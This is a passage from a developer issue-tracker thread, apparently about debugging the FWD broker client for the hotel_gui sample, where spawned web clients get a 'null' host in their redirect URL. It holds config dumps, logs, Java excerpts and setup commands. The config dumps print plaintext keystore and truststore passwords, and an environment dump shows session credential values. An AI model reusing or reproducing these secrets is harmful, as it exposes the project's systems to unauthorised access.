      CLIENT:LOGGING:ROTATIONLIMIT = 50000000
      CLIENT:DRIVER:BACKGROUND = true
      NET:CONNECTION:SECURE = true
      NET:SERVER:HOST = localhost
      NET:SERVER:SECURE_PORT = 3333
      NET:SERVER:PORT = 3433
      NET:SERVER:INSECURE_PORT = 3433
      NET:QUEUE:CONVERSATION = true
      NET:QUEUE:START_THREAD = false
      NET:SOCKET:NIO = false
      SECURITY:CERTIFICATE:VALIDATE = true
      SECURITY:TRUSTSTORE:FILENAME = srv-certs.store
      SECURITY:TRUSTSTORE:ALIAS = standard
      SECURITY:KEYSTORE:FILENAME = broker1-private-key.store
      SECURITY:KEYSTORE:PROCESSALIAS = broker1
      SECURITY:AUTHENTICATION:TYPE = program
      ACCESS:PASSWORD:TRUSTSTORE = y40xu^XuxQw9Q%4hB6^kCE58YK=7wRWFywBd
      ACCESS:PASSWORD:KEYSTORE = (G36RuApnoGKp7zPt(Q4ld3kq^Hz2SwS^61O
      ACCESS:PASSWORD:KEYENTRY = dO@8bLG1vgIP<OyaCZbk*9FR12b55Gts8>Wx
      ACCESS:PASSWORD:MASTERKEYENTRY = 7sN5iwk$E4W1cJ>0M~ID>E2hTNt1ZI0x
      REMOTE:RETRY:COUNT = 10
      REMOTE:RETRY:SECONDS = 10
      REMOTE:AGENT:HOST = fwddev2
      REMOTE:AGENT:USER = fwd
      REMOTE:AGENT:DEDICATEDMODE = false
      REMOTE:SPAWNER:FILE = /opt/spawner/spawn
      REMOTE:JAVA:ARGS = -Xmx512m -Djava.awt.headless=true -Djava.library.path=/home/fwd/projects/p2j/build/lib/
      REMOTE:JAVA:CLASSPATH = /home/fwd/projects/p2j/build/lib/p2j.jar
   }

even though the file contains:

  <net>
    <connection secure="true" />
    <server host="fwddev1" />
    <server secure_port="3333" />
    <server port="3433" />
  </net>

There is a bug in client.sh in which the host variable defaults to net:server:host=localhost unless the -h option is included. Once I cleared the host variable if the -c variable is included as a parameter, it found the correct host for connection.

I will update the versions in the hotel samples. Individual projects will need to see if this affects them, if they are using the broken version.

Sergey Ivanovskiy wrote:

agent means the broker client, so the agent host should be the host that runs broker client. You can debug and see what is a root cause. If you would like to delegate this task to me , then please provide clear instructions of your setup, so I can debug the code.
Please try to change host name to real ip addresses for remote agent that is fwddev2.

I updated the broker_client.xml file to have:

  <remote>
    <retry count="10" />
    <retry seconds="10" />
    <agent host="192.168.1.162"/>
    <agent user="fwd"/>
    <agent dedicatedMode="false"/>
    <spawner file="/opt/spawner/spawn" />
    <java args="-Xmx512m -Djava.awt.headless=true -Djava.library.path=/home/fwd/projects/p2j/build/lib/" />
    <java classpath="/home/fwd/projects/p2j/build/lib/p2j.jar" />
  </remote>

No change in the behavior.

Based upon these lines in the server log after the client connects:

25/10/13 16:06:36.198-0400 |    INFO | com.goldencode.p2j.main.BrokerManager [BrokerManager.registerBroker()] | ThreadName:Conversation [00000002:broker1_process], Session:00000002, ThreadId:00000005, User:broker1_process | Broker user=broker1_process uuid=6f6cd6cd-c33e-4860-a31d-d0b926cc0a8b registered.
25/10/13 16:07:02.940-0400 | WARNING | com.goldencode.p2j.util.Utils | ThreadName:qtp185048994-58 | not available host:port /192.168.1.162:7449.
25/10/13 16:07:07.945-0400 |    INFO | com.goldencode.p2j.main.WebDriverHandler | ThreadName:qtp185048994-58 | Returns the redirect url https://null:39261/index.html?token=6563b44ebdbfee10300130fb7399c976 as response to GUI client.

I broke in WebDriverHandler.spawnWorker, and I cannot find where the URI is set... at this point the URI is https://null:xxxxx. Can this be related to the proxy setup? Because that proxy server is null.

      int exitCode = spawner.spawn(webClientsManager,
                                   new String[] {
                                      requestParameters.getForwardedHost(),
                                      requestParameters.getForwardedProto(),
                                      requestParameters.getExternalUserIp()});

      if (exitCode == 0)
      {
         try
         {
            result.uri = spawner.getRemoteUri();
            result.storageId = storageId;
            result.rc = SupportedHttpCode.SUCCESS;
         }
         catch (URISyntaxException e)
         {
            LOG.log(Level.SEVERE,
                    e,
                    "Rewrite failed: X_FORWARDED_HOST=%s X_FORWARDED_PROTO=%s",
                    requestParameters.getForwardedHost(),
                    requestParameters.getForwardedProto());
         }
      }

Sergey Ivanovskiy wrote:

agent means the broker client, so the agent host should be the host that runs broker client. You can debug and see what is a root cause. If you would like to delegate this task to me , then please provide clear instructions of your setup, so I can debug the code.

If you could attempt this... I am not sure where to go next. You will need 2 virtual servers, fwddev1 and fwddev2. Install the 24.04 Ubuntu server, then the mgmt package.

On fwddev1 and fwddev2 (user your own xfer ID, and change -srvhost=fwddev2 on fwddev2):

mkdir projects
cd projects
bzr co sftp://rfb@xfer.goldencode.com/opt/fwd/mgmt
cd mgmt
./install.sh -local -srvhost=$(hostname) -adminuser=fwd -mode=fwd_reference \
             os_language=en_US \
             os_encoding=UTF-8 \
             os_timezone=America/New_York

You should also add your IP addresses to each of the /etc/hosts file as fwddev1 and fwddev2 (and both on your laptop).
Pull trunk from xfer (the image created by the mgmt project is customer focused). Make sure to use your user ID. Perform this on both servers.

cd ~/projects
bzr co sftp://rfb@xfer.goldencode.com/opt/fwd/trunk
cd trunk
./gradlew core

Position hotel_gui on each server. Use the copy in xfer.goldencode.com:/home/rfb/repo/hotel_gui_with_broker.zip which is the latest hotel_gui with my updates for broker.

cd ~/projects
scp rfb@xfer.goldencode.com:/home/rfb/repo/hotel_gui_with_broker.zip
unzip -q hotel_gui_with_broker.zip -d hotel_gui

Build hotel_gui (ant deployapp) on each server (use your ID on -u):

cd ~/projects/hotel_gui
./bootstrap_conversion.sh -enf ~/projects/trunk -u rfb
ant deployapp

On fwddev1, install the spawner, configure the directory using ./deploy/server/prepare_dir_h2.json, import data, and start the server:

cd ~/projects/hotel_gui
./install_spawner.sh -a
cd deploy/server
./prepare_dir.sh -of prepare_dir_h2.json
./importdbs.sh -r ../../data/dump -a ../lib/hotel.jar
./start_server.sh

On fwddev2, install the spawner, and start the broker:

cd ~/projects/hotel_gui
./install_spawner.sh -a
cd deploy/broker
../client/client.sh -bc broker_client.xml

Then you should be able to access https://fwddev2:7443/gui from your laptop.

Could you prove for yourself that the directory setting for the broker client given by this xml file is applied successfully? Also I would test Java 8 because the current code has been tested with Java 8. The broker client surely worked properly at some moment and probably Galya Bogdanova tested the broker client after the newest web client changes.

If you could attempt this... I am not sure where to go next. You will need 2 virtual servers, fwddev1 and fwddev2. Install the 24.04 Ubuntu server, then the mgmt package.

My host has Ubuntu 22.04.

Roger, could you help me with more instructions about how to set up 24.04 Ubuntu server and the mgmt package?

Did you mean to run

./install.sh -srvhost=$(hostname) -local -adminuser=fwd -mode=docker_host \
             os_language=en_US \
             os_encoding=UTF-8 \
             os_timezone=America/New_York

Install the base Ubuntu OS from the Live ISO: ubuntu-24.04.2-live-server-amd64.iso

Make primary user "fwd", password "fwd". Nothing special. After completion, install the mgmt project. That is why -adminuser would be fwd.

Please note this update to fwd_reference_system.yml... Comment out the one role... I haven't had a chance to update the project.

---
- hosts: all
  name: FWD Reference

  # any vars that are used in multiple roles should have defaults set here, the rest can be stored
  # in role-specific defaults/main.yml files
  vars:
     os_language: "en_US" 
     os_encoding: "UTF-8" 
     os_timezone: "America/New_York" 
     remote_user_id: "{{ ansible_ssh_user | default('fwd') }}" 
     xfer_user_id: "fwd" 
     fwd_install_root: "/opt" 
     fwd_install_branch: "trunk" 
     fwd_home_dir: "/home/fwd" 
     fwd_acct_name: "fwd" 
     fwd_docker_repo: "goldencode" 
     fwd_docker_image: "fwd_4.0_ubuntu_22.04" 
     fwd_docker_tag: "latest" 

  roles:
    - base
    - fwd_acct
    - dev_tools
    - interactive_users
    - jdk
    - ncurses
    - docker
#    - pull_docker_fwd
    - { role: reboot_here, ignore_errors: yes }

Also, run this command. I will update the previous notes:

./install.sh -srvhost=$(hostname) -local -adminuser=fwd -mode=fwd_reference \
             os_language=en_US \
             os_encoding=UTF-8 \
             os_timezone=America/New_York

Sergey Ivanovskiy wrote:

Could you prove for yourself that the directory setting for the broker client given by this xml file is applied successfully?

How would I confirm? Where do I break and look?

Also I would test Java 8 because the current code has been tested with Java 8. The broker client surely worked properly at some moment and probably Galya Bogdanova tested the broker client after the newest web client changes.

I will try this, but I only have the FWD runtime files in place. I may not have enough space in my VM for sources and a build.

Roger, I will follow your instructions. In your note #9709-76 you wrote that

I broke in WebDriverHandler.spawnWorker, and I cannot find where the URI is set... at this point the URI is https://null:xxxxx. Can this be related to the proxy setup? Because that proxy server is null.

I think that we do not use the proxy server here. It seems that result.uri = spawner.getRemoteUri(); should return url that should be WebClientSpawner.getRemoteUri().

Roger Borrello wrote:

Sergey Ivanovskiy wrote:

Could you prove for yourself that the directory setting for the broker client given by this xml file is applied successfully?

How would I confirm? Where do I break and look?

Also I would test Java 8 because the current code has been tested with Java 8. The broker client surely worked properly at some moment and probably Galya Bogdanova tested the broker client after the newest web client changes.

I will try this, but I only have the FWD runtime files in place. I may not have enough space in my VM for sources and a build.

I think that we can try the broker configuration that all clients are run on the same host. The broker client is run on the same host where the standard server is running.

Roger Borrello wrote:

Sergey Ivanovskiy wrote:

Also I would test Java 8 because the current code has been tested with Java 8. The broker client surely worked properly at some moment and probably Galya Bogdanova tested the broker client after the newest web client changes.

I will try this, but I only have the FWD runtime files in place. I may not have enough space in my VM for sources and a build.

I tried this with no changes in behavior.

Sergey Ivanovskiy wrote:

I think that we can try the broker configuration that all clients are run on the same host. The broker client is run on the same host where the standard server is running.

I tried this... all on fwddev1, and there wasn't a change in behavior. It still shows null in the URL. Server log shows:

25/10/14 13:43:55.850-0400 |    INFO | com.goldencode.p2j.main.BrokerManager [BrokerManager.registerBroker()] | ThreadName:Conversation [00000002:broker1_process], Session:00000002, ThreadId:00000005, User:broker1_process | Broker user=broker1_process uuid=9822aec1-e19b-4bdc-b92c-ce697c0a2e30 registered.
25/10/14 13:44:10.407-0400 | WARNING | com.goldencode.p2j.util.Utils | ThreadName:qtp921878502-58 | not available host:port fwddev1/127.0.1.1:7449.
25/10/14 13:44:18.529-0400 |    INFO | com.goldencode.p2j.main.WebDriverHandler | ThreadName:qtp921878502-58 | Returns the redirect url https://null:36139/index.html?token=057fb86f88e1939b6775f24fb4c361cf as response to GUI client.

After killing the broker, I connected the webclient again, and it connected to the non-broker launched webclient. Here are the server log entries:

25/10/14 13:54:29.201-0400 | WARNING | com.goldencode.p2j.util.Utils | ThreadName:qtp921878502-61 | not available host:port localhost/127.0.0.1:7449.
25/10/14 13:54:34.783-0400 |    INFO | com.goldencode.p2j.main.WebDriverHandler | ThreadName:qtp921878502-61 | Returns the redirect url https://fwddev1:7449/index.html?token=44dc023560e07960b801a1d5e6135d5c as response to GUI client.
25/10/14 13:54:39.722-0400 | WARNING | com.goldencode.p2j.ui.FontTable | ThreadName:Conversation [00000007:bogus], Session:00000007, ThreadId:00000006, User:bogus | Font [lato,8,false,false,false,false,0] has no legacy metrics.
25/10/14 13:54:39.727-0400 | WARNING | com.goldencode.p2j.ui.FontTable | ThreadName:Conversation [00000007:bogus], Session:00000007, ThreadId:00000006, User:bogus | Font [lato,8,false,false,false,false,0] has no legacy metrics.
25/10/14 13:54:39.727-0400 | WARNING | com.goldencode.p2j.ui.FontTable | ThreadName:Conversation [00000007:bogus], Session:00000007, ThreadId:00000006, User:bogus | Font [liberation mono,8,false,false,false,false,0] has no legacy metrics.
25/10/14 13:54:39.727-0400 | WARNING | com.goldencode.p2j.ui.FontTable | ThreadName:Conversation [00000007:bogus], Session:00000007, ThreadId:00000006, User:bogus | Font [open sans,12,false,false,false,false,0] has no legacy metrics.
25/10/14 13:54:39.727-0400 | WARNING | com.goldencode.p2j.ui.FontTable | ThreadName:Conversation [00000007:bogus], Session:00000007, ThreadId:00000006, User:bogus | Font [liberation mono,9,false,false,false,false,0] has no legacy metrics.
25/10/14 13:54:39.730-0400 | WARNING | com.goldencode.p2j.ui.FontTable | ThreadName:Conversation [00000007:bogus], Session:00000007, ThreadId:00000006, User:bogus | Font [lato,9,false,false,false,false,0] has no legacy metrics.
25/10/14 13:54:39.730-0400 | WARNING | com.goldencode.p2j.ui.FontTable | ThreadName:Conversation [00000007:bogus], Session:00000007, ThreadId:00000006, User:bogus | Font [open sans,9,false,false,false,false,0] has no legacy metrics.
25/10/14 13:54:39.730-0400 | WARNING | com.goldencode.p2j.ui.FontTable | ThreadName:Conversation [00000007:bogus], Session:00000007, ThreadId:00000006, User:bogus | Font [open sans,8,false,false,false,false,0] has no legacy metrics.
25/10/14 13:54:39.730-0400 | WARNING | com.goldencode.p2j.ui.FontTable | ThreadName:Conversation [00000007:bogus], Session:00000007, ThreadId:00000006, User:bogus | Font [open sans,10,true,false,false,false,0] has no legacy metrics.
25/10/14 13:54:39.730-0400 | WARNING | com.goldencode.p2j.ui.FontTable | ThreadName:Conversation [00000007:bogus], Session:00000007, ThreadId:00000006, User:bogus | Font [open sans,10,false,false,false,false,0] has no legacy metrics.
25/10/14 13:54:39.730-0400 | WARNING | com.goldencode.p2j.ui.FontTable | ThreadName:Conversation [00000007:bogus], Session:00000007, ThreadId:00000006, User:bogus | Font [open sans,11,false,false,false,false,0] has no legacy metrics.
25/10/14 13:54:46.968-0400 |    INFO | com.goldencode.p2j.persist.DatabaseManager | ThreadName:Conversation [00000007:bogus], Session:00000007, ThreadId:00000006, User:bogus/storage-hotel | Connecting to [hotel]

Yes, I see that the code looks broken somehow in the following way. CLIENT_IP is null.

CLIENT_IP environment variable is set only from this request parameter requestParameters.getExternalUserIp() as an environment variable but actually it is not an environment variable and it is not read from the OS environment.

The following method of WebDriverHandler should set an external user ip

   static WebDriverRequestParameters getRequestParameters(Request base, HttpServletRequest request)
   {
      String externalUserIp;
      String internalUserIp;
      String forwardedIps = request.getHeader(HttpHeader.X_FORWARDED_FOR.asString());
      if (StringHelper.hasContent(forwardedIps))
      {
         String[] forwardedIpArray = forwardedIps.split(",");
         externalUserIp = forwardedIpArray[0];
         // same as HttpHeader.X-Real-IP
         internalUserIp = forwardedIpArray[forwardedIpArray.length - 1];
      }
      else
      {
         externalUserIp = request.getRemoteAddr();
         internalUserIp = request.getRemoteAddr();
      }

      return new WebDriverRequestParameters()
         .setForwardedHost(resolveForwardedHost(request))
         .setForwardedProto(FORWARDED_HOST_CONFIG != null ?
                               FORWARDED_PROTO_CONFIG :
                               request.getHeader(HttpHeader.X_FORWARDED_PROTO.asString()))
         .setExternalUserIp(externalUserIp)
         .setInternalUserIp(internalUserIp)
         .setServerName(request.getServerName())
         .setServerPort(request.getServerPort())
         .setCookies(request.getCookies())
         .setParamMap(request.getParameterMap())
         .setQueryParams(base.getQueryParameters())
         .setUser(base.getParameter("usr"))
         .setPassword(base.getParameter("psw"))
         .setTheme(base.getParameter("theme"));
   }

Roger, if you have an environment, then please set the breakpoint at the server side code of ClientSpawner

   public int spawn(WebClientAllocator allocator, String[] requestParameters)
   {
      ClientBuilderParameters params = getBuildParams();
      if (params.getOsUser() == null)
      {
         throw new NullPointerException("The OS username must be provided!");
      }

      // Get a temporary account from pool.
      TemporaryAccount tmpAcc = TemporaryAccount.open();

      if (tmpAcc == null)
      {
         RuntimeException exc =
            new RuntimeException("Temporary Account Pool is empty! Please call your system administrator.");
         LOG.warning("Spawn exception:", exc);
         throw exc;
      }

      // Get a list of brokers for this user
      Brokers brokers = BrokerManager.getBrokers(params.getOsUser());

      // register listener
      SpawnerImpl spawner = SpawnerImpl.getInstance();
      spawner.setListenerTimeoutMs(getListenerTimeout());
      spawner.addListener(params.getUuid(), tmpAcc, this);

      clientStartupCountDown = new CountDownLatch(1);

      // initial environment map contains user and password 
      Map<String, String> environmentMap = tmpAcc.getEnvironmentMap();

      BaseClientBuilderOptions baseOptions = params.getDirOptions().getBaseOptions();
      environmentMap.putAll(baseOptions.getEnvProperties());

      // add P2J_HOME so that all P2J client sessions spawned below this one can find their way home
      environmentMap.put(Configuration.PROP_HOME_DIR, baseOptions.getLibPath());

      if (requestParameters != null && requestParameters.length > 2) //<----------please set breakpoint here
      {
         environmentMap.put(BrokerManager.CLIENT_IP, requestParameters[2]);
      }

      // used by CentralLogger to stop listening for the streamed msgs.
      AtomicBoolean isSpawnerRunning = new AtomicBoolean(false);

      ready = false;

      SessionManager sessionManager = RouterSessionManager.get();

      int exitCode = SpawnError.GENERIC.getCode();
      try
      {
         if (sessionManager != null && sessionManager.getSessionLock())
         {
            exitCode = SpawnError.SESSION_LOCKED.getCode();
         }
         else
         {
            int spawnerLaunchTimeout = baseOptions.getSpawnerLaunchTimeout() != null ? 
               baseOptions.getSpawnerLaunchTimeout() : this.getDefaultTimeout();

            exitCode = brokers.getBrokers().isEmpty() ?
               spawnLocal(environmentMap, allocator, requestParameters, isSpawnerRunning,
                          spawnerLaunchTimeout) :
               spawnRemote(brokers, environmentMap, allocator, requestParameters);
         }

         if (exitCode != 0)
         {
            LOG.log(SpawnError.isInvalidOsCredentials(exitCode) ?
                       Level.FINER : 
                       Level.WARNING,
                    SpawnError.getSpawnMsgOrDefault(exitCode));
         }
      }
      catch (Throwable t)
      {
         LOG.severe(SpawnError.GENERIC.getMsg(), t);
      }
      finally
      {
         String clientId = params.getUuid();
         isSpawnerRunning.set(false);

         if (exitCode != 0 && allocator != null)
         {
            allocator.freeClient(clientId);
         }
      }
      return exitCode;
   }

Sergey Ivanovskiy wrote:

Roger, if you have an environment, then please set the breakpoint at the server side code of ClientSpawner
[...]
It seems that for some reasons CLIENT_IP is null.

I had to hard reboot, so I need to chkdsk my USB drive with the VM images on them... I can do this. Is there a good place to break?

In the BrokerManager.spawn, when we get to:

            if (spawn)
            {
               result = broker.getRemote().spawn(args);
            }

[${remote.spawner}, 0, ${remote.secure.port}, ${remote.host}, standard, a78cce3b-9fdb-40f9-a0e0-620495bc8e0f, net:socket:nio=false, net:ssl:trackSeqNo=false, fwd, "", /home/fwd/projects/hotel_gui/deploy/broker, java, ${remote.jvm.args}, ${remote.broker.classpath}, com.goldencode.p2j.main.ClientDriver, net:server:host=${remote.host}, net:socket:nio=false, net:ssl:trackSeqNo=false, net:connection:secure=true, net:server:secure_port=${remote.secure.port}, sso:subject:id=bogus, sso:storage:id=storage-hotel, server:spawner:uuid=a78cce3b-9fdb-40f9-a0e0-620495bc8e0f, client:web:port=7449]

{CLIENT_IP=192.168.1.227, P2J_SUBJECT=6F73313237384967354A3933315A4F43, P2J_PASSWORD=33394269545F26342D39336737373760, P2J_HOME=/home/fwd/projects/fwd/build/lib/}

I think these templates should be replaced by BrokerCore that is according to the code:

   public static synchronized BrokerSpawnResult spawn(BrokerSpawnParameters args)
   {
      // The ProcessBuilder instance
      final ProcessBuilder pb = new ProcessBuilder();

      // Remote spawn response
      final BrokerSpawnResult result = new BrokerSpawnResult();

      // Process
      Process shell = null;

      // Set environment variables.
      if (args.getEnvironment() == null)
      {
         args.setEnvironment(new HashMap<String, String>());
      }

      // Exports as environment variables
      args.getEnvironment().put(BROKER_HOST, host);
      args.getEnvironment().put(BROKER_PORT, port);
      args.getEnvironment().put(BROKER_JVMARGS, jvmargs);
      args.getEnvironment().put(BROKER_CLASSPATH, classpath);

      pb.environment().putAll(args.getEnvironment());

      // Set directory
      File spawnerDir = new File(spawner);
      pb.directory(spawnerDir.getAbsoluteFile().getParentFile());

      // Command line arguments
      List<String> command = new LinkedList<String>();

      // Replace place holders
      for (String cmd : args.getCommand())
      {
         // replace placeholders
         if (cmd.indexOf(BrokerCore.PARAM_HOST) > -1)
         {
            command.add(cmd.replace(BrokerCore.PARAM_HOST, host));
         }
         else if (cmd.indexOf(BrokerCore.PARAM_PORT) > -1)
         {
            command.add(cmd.replace(BrokerCore.PARAM_PORT, port));
         }
         else if (BrokerCore.PARAM_SPAWNER.equals(cmd))
         {
            command.add(spawner);
         }
         else if (BrokerCore.PARAM_JVM.equals(cmd))
         {
            command.addAll(jvmArgs);
         }
         else if (BrokerCore.PARAM_CP.equals(cmd))
         {
            command.add("-classpath");
            command.add(classpath);
         }
         else
         {
            command.add(cmd);
         }
      }
   ...................................
   }

Sergey Ivanovskiy wrote:

I think these templates should be replaced by BrokerCore that is according to the code:
[...]
Thus, we should check the BrokerCore process if these values are correctly read from the provided client xml.

I will check this first thing.

Trying to setup broker client too and notify you if this issue becomes clarified.

At startup, the broker client has these parameters:

sharedFile = broker_client.xml; privateFile = none; isServer = false; configuraton values =
   {
      CLIENT:MODE:BROKER = true
      CLIENT:MODE:BATCH = true
      CLIENT:LOGGING:PATH = /home/fwd/projects/hotel_gui/deploy/logs/client_%uos_%pid_%uf_%g.log
      CLIENT:LOGGING:ROTATIONCOUNT = 4
      CLIENT:LOGGING:ROTATIONLIMIT = 50000000
      CLIENT:DRIVER:BACKGROUND = true
      NET:CONNECTION:SECURE = true
      NET:SERVER:HOST = fwddev1
      NET:SERVER:SECURE_PORT = 3333
      NET:SERVER:PORT = 3433
      NET:SERVER:INSECURE_PORT = 3433
      NET:QUEUE:CONVERSATION = true
      NET:QUEUE:START_THREAD = false
      NET:SOCKET:NIO = false
      SECURITY:CERTIFICATE:VALIDATE = true
      SECURITY:TRUSTSTORE:FILENAME = srv-certs.store
      SECURITY:TRUSTSTORE:ALIAS = standard
      SECURITY:KEYSTORE:FILENAME = broker1-private-key.store
      SECURITY:KEYSTORE:PROCESSALIAS = broker1
      SECURITY:AUTHENTICATION:TYPE = program
      ACCESS:PASSWORD:TRUSTSTORE = y40xu^XuxQw9Q%4hB6^kCE58YK=7wRWFywBd
      ACCESS:PASSWORD:KEYSTORE = (G36RuApnoGKp7zPt(Q4ld3kq^Hz2SwS^61O
      ACCESS:PASSWORD:KEYENTRY = dO@8bLG1vgIP<OyaCZbk*9FR12b55Gts8>Wx
      ACCESS:PASSWORD:MASTERKEYENTRY = 7sN5iwk$E4W1cJ>0M~ID>E2hTNt1ZI0x
      REMOTE:RETRY:COUNT = 10
      REMOTE:RETRY:SECONDS = 10
      REMOTE:AGENT:HOST = fwddev1
      REMOTE:AGENT:USER = fwd
      REMOTE:AGENT:DEDICATEDMODE = false
      REMOTE:SPAWNER:FILE = /opt/spawner/spawn
      REMOTE:JAVA:ARGS = -Xmx512m -Djava.awt.headless=true -Djava.library.path=/home/fwd/projects/fwd/build/lib/
      REMOTE:JAVA:CLASSPATH = /home/fwd/projects/fwd/build/lib/p2j.jar
   }

Where does the URL get built? Is that in spawn? Something is wrong in there.

Please look at #9709-84, WebClientSpawner, TemporaryClientTask.doWork

Roger, could you share your server logs, directory and broker client xml for one of the failed starts? I passed difficulties with broker process and now I have no issues except that iframe as I guessed does not except localhost url if the web page url is not localhost. So at the moment the dedicated mode does nor work but it is expected.

Sergey Ivanovskiy wrote:

Roger, could you share your server logs, directory and broker client xml for one of the failed starts? I passed difficulties with broker process and now I have no issues except that iframe as I guessed does not except localhost url if the web page url is not localhost. So at the moment the dedicated mode does nor work but it is expected.

Are you working with trunk or a different branch?

I am trying to attach logs, but Redmine is not allowing...

I am working with the branch 10359a that has unrelated changes (the trunk version). If dedicatedMode is false, then my setup works properly with broker client. I guess that you have incorrect broker security setup.

Sergey Ivanovskiy wrote:

I am working with the branch 10359a that has unrelated changes (the trunk version). If dedicatedMode is false, then my setup works properly with broker client. I guess that you have incorrect broker security setup.

I have <agent dedicatedMode="false"/>

Sergey Ivanovskiy wrote:

Please look at #9709-84, WebClientSpawner, TemporaryClientTask.doWork

The remoteUri is already https://null:39941/ at the WebClientSpawner

Going back, I see data is the URI, and already https://null:39941/

   @Override
   public void clientIsReady(String uuid, String data)
   {
      SpawnerListener listener = listeners.get(uuid);
      if (listener != null)
      {
         listener.setSafeRemoveListener(true);
         listener.clientIsReady(data);
      }
   }

Daemon Thread [Conversation [00000008:bogus]] (Suspended (breakpoint at line 204 in WebClientSpawner))    
    WebClientSpawner.clientIsReady(String) line: 204    
    SpawnerImpl.clientIsReady(String, String) line: 161    
    NativeMethodAccessorImpl.invoke0(Method, Object, Object[]) line: not available [native method]    
    NativeMethodAccessorImpl.invoke(Object, Object[]) line: 77    
    DelegatingMethodAccessorImpl.invoke(Object, Object[]) line: 43    
    Method.invoke(Object, Object...) line: 569    
    MethodInvoker.invoke(Object[]) line: 126    
    Dispatcher.processInbound(InboundRequest, boolean, NetResource) line: 808    
    Conversation.block() line: 418    
    Conversation.run() line: 237    
    Thread.run() line: 840    

Where is the remote invoke coming from so I can see what is passing data? If I suspend the client main thread, I'm at:

Thread [main] (Suspended)    
    waiting for: Object  (id=390)    
    Object.wait(long) line: not available [native method]    
    Conversation.block() line: 389    
    Conversation.waitMessage(int) line: 344    
    Queue.transactImpl(Message, int) line: 1239    
    Queue.transact(Message, int) line: 687    
    DirectSession(BaseSession).transact(Message, int) line: 276    
    HighLevelObject.transact(RoutingKey, Object[]) line: 221    
    RemoteObject$RemoteAccess$Invoker.invoke(Object[]) line: 1673    
    TraceHelper.trace(Invocable, Object[], CentralLogger, String) line: 145    
    RemoteObject$RemoteAccess.trace(Object, Method, Object[], RoutingKey) line: 1498    
    RemoteObject$RemoteAccess.invokeCore(Object, Method, Object[]) line: 1467    
    RemoteObject$RemoteAccess(InvocationStub).invoke(Object, Method, Object[]) line: 144    
    $Proxy2.start(String) line: not available    
    BrokerCore.connect(SessionManager, BootstrapConfig) line: 549    
    BrokerCore.start(BootstrapConfig) line: 214    
    ClientDriver.start(BootstrapConfig) line: 283    
    ClientDriver(CommonDriver).process(String[]) line: 522    
    ClientDriver.process(String[]) line: 173    
    ClientDriver.main(String[]) line: 347    

Your server log show the broker is registered so it seems that the broker is configured correctly. The uri host:port part is built on the web client side because TemporaryClientTask.doWork is executed by the spawned client process.

It looks like for your case this code that executed on the client side gives null

         // get an explicit port and host set by the client
         int port = config.getInt(ConfigItem.PORT, 0);
         String host = config.getString(ConfigItem.HOST, null); // returns null in your case

Sergey Ivanovskiy wrote:

It looks like for your case this code that executed on the client side gives null
[...]

The spawn process should have this client:web:host=... parameter.

I never hit a breakpoint in WebClientSpawner.doWork, even debugging the client startup.

Roger, I guess that BrokerCore in your case has dedicatedHost as a null

      // add client:web:host
      command.add("client:web:host=" + dedicatedHost);
      command.add("client:web:dedicatedMode=" + String.valueOf(dedicatedMode));

I do not understand why the following code of BrokerCore does not work for your case:

   private static void initialize(BootstrapConfig cfg)
   {
      cfg.setServer(false);

      // UUID 
      uuid = null;      
      // get spawner name
      host = cfg.getString(ConfigItem.SERVER_HOST, "localhost");
      // secured port as string 
      port = String.valueOf(cfg.getInt(ConfigItem.SERVER_SECURE_PORT, -1));
      // number of retry
      count = cfg.getInt("remote", "retry", "count", 10);   
      // retry time in seconds
      seconds = cfg.getInt("remote", "retry", "seconds", 10);
      // get spawner name
      spawner = cfg.getString("remote", "spawner", "file", "./spawn");
      // get launch timeout for the spawner
      spawnerLaunchTimeout = cfg.getInt(ConfigItem.SPAWNER_LAUNCH_TIMEOUT, ClientSpawner.DEFAULT_TIMEOUT);

      // get the dedicated web host
      String localHost;
      try
      {
         InetAddress inetAddress = InetAddress.getLocalHost();
         localHost = inetAddress.getHostName();
      }
      catch (UnknownHostException e)
      {
         localHost = "localhost"; // this localhost should not work for
      }
      dedicatedHost = cfg.getString("remote", "agent", "host", localHost);

      if (Utils.isValidHostNameOrIpAddress(dedicatedHost))
      {
         LOG.logp(Level.SEVERE,
                  BrokerCore.class.getName(),
                  "initialize",
                  "remote:agent:host should be configured as a network host name or IP address");
      }

This dedicatedHost = cfg.getString("remote", "agent", "host", localHost); value should not be null but it is null for your case.

But in your crash logs I see correctly provided arguments:

25/10/14 18:18:41.488-0400 |    INFO | com.goldencode.p2j.main.BrokerCore [BrokerCore.spawn()] | ThreadName:main | Command line arguments: [/opt/spawner/spawn, 0, 3333, fwddev1, standard, a78cce3b-9fdb-40f9-a0e0-620495bc8e0f, net:socket:nio=false, net:ssl:trackSeqNo=false, fwd, "", /home/fwd/projects/hotel_gui/deploy/broker, java, -Xmx512m, -Djava.awt.headless=true, -Djava.library.path=/home/fwd/projects/fwd/build/lib/, -classpath, /home/fwd/projects/fwd/build/lib/p2j.jar, com.goldencode.p2j.main.ClientDriver, net:server:host=fwddev1, net:socket:nio=false, net:ssl:trackSeqNo=false, net:connection:secure=true, net:server:secure_port=3333, sso:subject:id=bogus, sso:storage:id=storage-hotel, server:spawner:uuid=a78cce3b-9fdb-40f9-a0e0-620495bc8e0f, client:web:port=7449, client:web:host=fwddev1, client:web:dedicatedMode=false]

I found one differences with my setup. You have sso:subject:id=bogus but I use the user/password setup and do not use sso. I do not know even if this should work?

The broker uses OS user and the web client is using this OS user to access the resources.

Sergey Ivanovskiy wrote:

But in your crash logs I see correctly provided arguments:
[...]
Did you install spawner correctly?

I ran ./install_spawner.sh -a. Is the broker1-private-key.store required to be in /opt/spawner?

No, I think that broker1-private-key.store is not required to be in /opt/spawner.

Sergey Ivanovskiy wrote:

I found one differences with my setup. You have sso:subject:id=bogus but I use the user/password setup and do not use sso. I do not know even if this should work?

The broker uses OS user and the web client is using this OS user to access the resources.

Post your directory.xml... I don't know where the sso:subject:id comes from, but I am using most of the base hotel_gui setup, plus the broker updates, and changed key information.

Sergey Ivanovskiy wrote:

Roger, please remove sso login and use OS user login. Please watch these directory changes for hotel_gui:
[...]

Oh my... So the Sso plugin is not supported for broker clients? I made the changes, and signed in with "fwd/fwd" instead of "hotel/hotel", and it worked. I'm trying to setup the fwddev2 server again.

Roger Borrello wrote:

I'm trying to setup the fwddev2 server again.

I see in your directory.xml you have 192.168.100.28, as well as in the broker1_client.xml for both the net:server:host and remote:agent:host. Have you been able to try your broker on a different server?

The whole concept is counter-intuitive because if you were to have multiple brokers to load-balance, what would you configure in directory.xml for webClient/host?

• webClient/host is fwddev1 in directory.xml
• net:server:host is fwddev1 in broker1_client.xml
• remote:agent:host is fwddev2 in broker1_client.xml

The broker shows:

